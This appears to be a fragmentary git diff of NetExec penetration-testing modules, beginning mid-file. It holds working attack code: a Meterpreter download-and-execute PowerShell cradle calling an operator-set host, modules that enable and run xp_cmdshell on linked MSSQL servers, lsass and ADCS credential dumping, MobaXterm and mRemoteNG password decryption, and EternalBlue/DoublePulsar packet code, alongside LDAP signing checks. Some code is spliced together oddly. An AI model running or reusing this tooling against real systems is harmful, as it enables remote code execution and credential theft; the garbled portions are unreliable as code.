ssl_context.verify_mode = ssl.CERT_NONE
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
cert = ssl_sock.getpeercert(binary_form=True)
if cert:
cert_hash = hashlib.sha256(cert).digest()
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
pos = random.randint(0, len(cert_hash) - 1)
tampered_bytes = bytearray(cert_hash)
tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
context.log.debug(f"Modified byte at position {pos}")
client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
else:
client.cb_data = b"\x00" * 64
except Exception as e:
context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
client.cb_data = b"\x00" * 64
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True
elif (err and "data 52e" in str(err)) or err is None:
return False
else:
context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
return None
except Exception as e:
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def does_ldaps_complete_handshake(self, context, dc_ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
try:
ssl_sock.connect((dc_ip, 636))
ssl_sock.do_handshake()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
return True
elif "handshake operation timed out" in str(e):
return False
else:
context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
return False
finally:
ssl_sock.close()
# Conduct an LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(self, context, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
client._disable_signing = True # deliberately disable LDAP signing on client connection
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting for LDAP bind: {err}")
return None
_, err = await client.bind()
if err:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(f"LDAP bind error: {err}")
return None
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(f"Exception during LDAP bind: {e}")
return None
# Determine authentication context and proceed to
# enumerate LDAP signing and channel binding settings
def on_login(self, context, connection):
context.log.fail("[REMOVED] Now natively supported in the host banner")
return
stype = asyauthSecret.PASS
secret = connection.password
if connection.nthash:
stype = asyauthSecret.NT
secret = connection.nthash
if connection.aesKey:
stype = asyauthSecret.AES
secret = connection.aesKey
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
elif "data 52e" in str(err):
return False # channel binding not enforced
elif err is None:
# LDAPS bind successful
# because channel binding is not enforced
return False
anon_credential = NTLMCredential(
secret="",
username="",
domain=connection.domain,
stype=asyauthSecret.PASS
)
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
# LDAPS bind has without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True
elif "data 52e" in str(err):
return False
elif err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
elif err is None:
return False
if not connection.username and not secret:
context.log.highlight("No credentials provided, skipping LDAP signing check")
credential = anon_credential
else:
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
ldap_signing_status = None
if connection.username or secret:
target = MSLDAPTarget(
connection.host, 389,
hostname=connection.remoteName,
domain=connection.domain,
dc_ip=connection.kdcHost,
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def DoesLdapsCompleteHandshake(dcIp):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_sock = ssl.wrap_socket(
s,
cert_reqs=ssl.CERT_OPTIONAL,
suppress_ragged_eofs=False,
do_handshake_on_connect=False,
)
ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
if ldap_signing_status is True:
context.log.highlight("LDAP signing IS enforced")
elif ldap_signing_status is False:
context.log.highlight("LDAP signing NOT enforced")
else:
context.log.fail("Could not determine LDAP signing requirement.")
ssl_sock.connect((dcIp, 636))
try:
ssl_sock.do_handshake()
ssl_sock.close()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
ssl_sock.close()
return True
if "handshake operation timed out" in str(e):
ssl_sock.close()
return False
else:
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
ssl_sock.close()
return False
if self.does_ldaps_complete_handshake(context, connection.host):
target = MSLDAPTarget(
connection.host, 636,
UniProto.CLIENT_SSL_TCP,
hostname=connection.remoteName,
# Conduct and LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is None:
_, err = await ldapsClientConn.bind()
if "stronger" in str(err):
return True # because LDAP server signing requirements ARE enforced
elif ("data 52e") in str(err):
context.log.fail("Not connected... exiting")
sys.exit()
elif err is None:
return False
else:
context.log.fail(str(err))
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
secret = connection.password if not connection.nthash else connection.nthash
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
dc_ip=connection.kdcHost,
stype=stype,
)
ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
if ldaps_noEPA is False and ldaps_withEPA is True:
context.log.highlight("LDAPS channel binding is set to: When Supported")
elif ldaps_noEPA is False and ldaps_withEPA is False:
context.log.highlight("LDAPS channel binding is set to: Never")
elif ldaps_noEPA is True:
context.log.highlight("LDAPS channel binding is set to: Required")
else:
context.log.fail("Could not determine LDAPS channel binding settings")
else:
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected is True:
context.log.fail("LDAP Signing IS Enforced")
else:
context.log.fail("Connection fail, exiting now")
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck is True:
context.log.fail('LDAPS Channel Binding is set to "Required"')
else:
context.log.fail("\nSomething went wrong...")
sys.exit()
else:
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
-99
View File
@@ -1,99 +0,0 @@
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked MSSQL server
Module by deathflamingo
"""
name = "link_enable_cmdshell"
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
supported_protocols = ["mssql"]
def __init__(self):
self.action = None
self.linked_server = None
def options(self, context, module_options):
"""
Defines the options for enabling or disabling xp_cmdshell on the linked server.
ACTION Specifies whether to enable or disable:
- enable (default)
- disable
LINKED_SERVER The name of the linked SQL server to target.
"""
self.action = module_options.get("ACTION", "enable")
self.linked_server = module_options.get("LINKED_SERVER")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
# Store the original state of options that have to be enabled/disabled in order to restore them later
self.backuped_options = {}
if not self.linked_server:
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
return
# Enable or disable xp_cmdshell based on action
if self.action == "enable":
self.enable_xp_cmdshell()
elif self.action == "disable":
self.disable_xp_cmdshell()
else:
self.context.log.fail(f"Unknown action: {self.action}")
def enable_xp_cmdshell(self):
"""Enable xp_cmdshell on the linked server."""
self.backup_and_enable("advanced options")
current_value = self.is_option_enabled("xp_cmdshell")
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
self.mssql_conn.sql_query(f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]")
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
self.restore("advanced options")
def disable_xp_cmdshell(self):
"""Disable xp_cmdshell on the linked server."""
self.backup_and_enable("advanced options")
current_value = self.is_option_enabled("xp_cmdshell")
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}. Current value: {current_value}")
self.mssql_conn.sql_query(f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{self.linked_server}]")
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
self.restore("advanced options")
# Adapting methods from MSSQLEXEC for backup and restore functionality
def restore(self, option):
try:
if not self.backuped_options[option]:
self.context.log.debug(f"Option '{option}' was not enabled on {self.linked_server} originally, attempting to disable it.")
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 0;RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
else:
self.context.log.debug(f"Option '{option}' was originally enabled on {self.linked_server}, leaving it enabled.")
except Exception as e:
self.context.log.error(f"[OPSEC] Error when attempting to restore option '{option}' on {self.linked_server}: {e}")
def backup_and_enable(self, option):
try:
self.backuped_options[option] = self.is_option_enabled(option)
if not self.backuped_options[option]:
self.context.log.debug(f"Option '{option}' is disabled on {self.linked_server}, attempting to enable it.")
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 1;RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
else:
self.context.log.debug(f"Option '{option}' is already enabled on {self.linked_server}.")
except Exception as e:
self.context.log.error(f"Error when checking/enabling option '{option}' on {self.linked_server}: {e}")
def is_option_enabled(self, option):
query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\";') AT [{self.linked_server}]"
self.context.log.debug(f"Checking if {option} is enabled on {self.linked_server}: {query}")
result = self.mssql_conn.sql_query(query)
# Assuming the query returns a list of dictionaries with 'config_value' as the key
self.context.log.debug(f"{option} check result: {result}")
return bool(result and result[0]["config_value"] == 1)
-49
View File
@@ -1,49 +0,0 @@
class NXCModule:
"""
Run xp_cmdshell commands on a linked SQL server
Module by deathflamingo
"""
name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
def __init__(self):
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
Defines the options for running xp_cmdshell commands on a linked server.
LINKED_SERVER The name of the linked SQL server to target.
CMD The command to run via xp_cmdshell.
"""
self.linked_server = module_options.get("LINKED_SERVER")
self.command = module_options.get("CMD")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
return
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
result = self.mssql_conn.sql_query(query)
if result:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value and output_value != "NULL":
output_lines.append(str(output_value))
if output_lines:
self.context.log.success("Executed command via linked server")
for line in output_lines:
self.context.log.highlight(line.strip())
else:
self.context.log.display("Command executed but returned no output")
else:
self.context.log.fail("No result returned from query")
@@ -16,6 +16,8 @@ class NXCModule:
name = "lsassy"
description = "Dump lsass and parse the result remotely with lsassy"
supported_protocols = ["smb"]
opsec_safe = True # writes temporary files, and it's possible for them to not be deleted
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -62,7 +64,7 @@ class NXCModule:
context.log.fail("Unable to dump lsass")
return False
parsed = Parser(host, file).parse()
parsed = Parser(file).parse()
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
+3 -1
View File
@@ -6,6 +6,8 @@ class NXCModule:
name = "masky"
description = "Remotely dump domain user credentials via an ADCS and a KDC"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
r"""
@@ -35,7 +37,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
if not self.ca:
context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
return False
host = connection.host
+24 -22
View File
@@ -10,6 +10,8 @@ class NXCModule:
name = "met_inject"
description = "Downloads the Meterpreter stager and injects it into memory"
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.rand = None
@@ -25,8 +27,6 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -35,11 +35,8 @@ class NXCModule:
windows/x64/powershell_reverse_tcp_ssl
Web Delivery Method (exploit/multi/script/web_delivery):
Set SRVHOST and SRVPORT
Set target 2 (PSH)
Set payload to what you want (windows/meterpreter/reverse_https, etc)
check compatabile payloads with `show payloads`
Optional: SET URIPATH {custom}
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
"""
self.met_ssl = "https"
@@ -56,19 +53,24 @@ class NXCModule:
self.srvport = module_options["SRVPORT"]
def on_admin_login(self, context, connection):
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
context.log.success("Executed payload")
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
command = """$url="{}://{}:{}/{}"
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessInfo.FileName=$PowershellExe
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
$ProcessInfo.UseShellExecute = $False
$ProcessInfo.RedirectStandardOutput = $True
$ProcessInfo.CreateNoWindow = $True
$ProcessInfo.WindowStyle = "Hidden"
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
"http" if self.met_ssl == "http" else "https",
self.srvhost,
self.srvport,
self.rand,
)
context.log.debug(command)
connection.ps_execute(command, force_ps32=True)
context.log.success("Executed payload")
-60
View File
@@ -1,60 +0,0 @@
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
-206
View File
@@ -1,206 +0,0 @@
import ntpath
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
class MRemoteNgEncryptionAttributes:
kdf_iterations: int
block_cipher_mode: str
encryption_engine: str
full_file_encryption: bool
class NXCModule:
"""
Dump mRemoteNG Passwords
module by @_zblurx
"""
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
def __init__(self, context=None, module_options=None):
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
]
self.recurse_max = 10
def options(self, context, module_options):
"""
SHARE Share parsed. Default to C$
PASSWORD Custom password to decrypt confCons.xml files
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
self.custom_path = None
if "CUSTOM_PATH" in module_options:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
kdf_iterations=int(main.attrib["KdfIterations"]),
block_cipher_mode=main.attrib["BlockCipherMode"],
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
continue
name = node_attribute["Name"]
hostname = node_attribute["Hostname"]
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
nodes = []
for node in list(main.getchildren()):
node_attributes = node.attrib
if node_attributes["Type"] == "Connection":
nodes.append(node.attrib)
elif node_attributes["Type"] == "Container":
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
new_path = ntpath.join(directory_path, item.get_longname())
if item.is_directory() > 0:
if recurse_level < recurse_max:
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
else:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
return encrypted_password
if encryption_attributes.encryption_engine == "AES":
salt = encrypted_password[:16]
associated_data = encrypted_password[:16]
nonce = encrypted_password[16:32]
ciphertext = encrypted_password[32:-16]
tag = encrypted_password[-16:]
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
if encryption_attributes.block_cipher_mode == "GCM":
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "CCM":
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "EAX":
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
+25 -14
View File
@@ -31,19 +31,19 @@ class SmbHeader(Structure):
]
def __init__(self, buffer):
nxc_logger.debug(f"server_component : {self.server_component:04x}")
nxc_logger.debug(f"smb_command : {self.smb_command:01x}")
nxc_logger.debug(f"error_class : {self.error_class:01x}")
nxc_logger.debug(f"error_code : {self.error_code:02x}")
nxc_logger.debug(f"flags : {self.flags:01x}")
nxc_logger.debug(f"flags2 : {self.flags2:02x}")
nxc_logger.debug(f"process_id_high : {self.process_id_high:02x}")
nxc_logger.debug(f"signature : {self.signature:08x}")
nxc_logger.debug(f"reserved2 : {self.reserved2:02x}")
nxc_logger.debug(f"tree_id : {self.tree_id:02x}")
nxc_logger.debug(f"process_id : {self.process_id:02x}")
nxc_logger.debug(f"user_id : {self.user_id:02x}")
nxc_logger.debug(f"multiplex_id : {self.multiplex_id:02x}")
nxc_logger.debug("server_component : %04x" % self.server_component)
nxc_logger.debug("smb_command : %01x" % self.smb_command)
nxc_logger.debug("error_class : %01x" % self.error_class)
nxc_logger.debug("error_code : %02x" % self.error_code)
nxc_logger.debug("flags : %01x" % self.flags)
nxc_logger.debug("flags2 : %02x" % self.flags2)
nxc_logger.debug("process_id_high : %02x" % self.process_id_high)
nxc_logger.debug("signature : %08x" % self.signature)
nxc_logger.debug("reserved2 : %02x" % self.reserved2)
nxc_logger.debug("tree_id : %02x" % self.tree_id)
nxc_logger.debug("process_id : %02x" % self.process_id)
nxc_logger.debug("user_id : %02x" % self.user_id)
nxc_logger.debug("multiplex_id : %02x" % self.multiplex_id)
def __new__(self, buffer=None):
nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}")
@@ -54,6 +54,8 @@ class NXCModule:
name = "ms17-010"
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
@@ -70,6 +72,7 @@ class NXCModule:
if str(e) == "Buffer size too small (0 instead of at least 32 bytes)":
context.log.debug("Buffer size too small, which means the response was not the expected size")
def generate_smb_proto_payload(self, *protos):
"""
Flattens a nested list and merges all bytes objects into a single bytes object.
@@ -95,6 +98,7 @@ class NXCModule:
self.logger.debug(f"Packed proto data: {hex_data}")
return hex_data
def calculate_doublepulsar_xor_key(self, s):
"""
Calculate Doublepulsar Xor Key.
@@ -111,6 +115,8 @@ class NXCModule:
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
return x & 0xffffffff # truncate to 32 bits
def negotiate_proto_request(self):
"""Generate a negotiate_proto_request packet."""
self.logger.debug("generate negotiate proto request")
@@ -154,6 +160,7 @@ class NXCModule:
# Return the generated SMB protocol payload
return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
def session_setup_andx_request(self):
"""Generate session setup andx request."""
self.logger.debug("generate session setup andx request"
@@ -203,6 +210,7 @@ class NXCModule:
return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
def tree_connect_andx_request(self, ip, userid):
"""Generate tree connect andx request.
@@ -240,7 +248,7 @@ class NXCModule:
]
# Create the IPC string
ipc = f"\\\\{ip}\\IPC$\x00"
ipc = f"\\\\{ip}\IPC$\x00"
self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
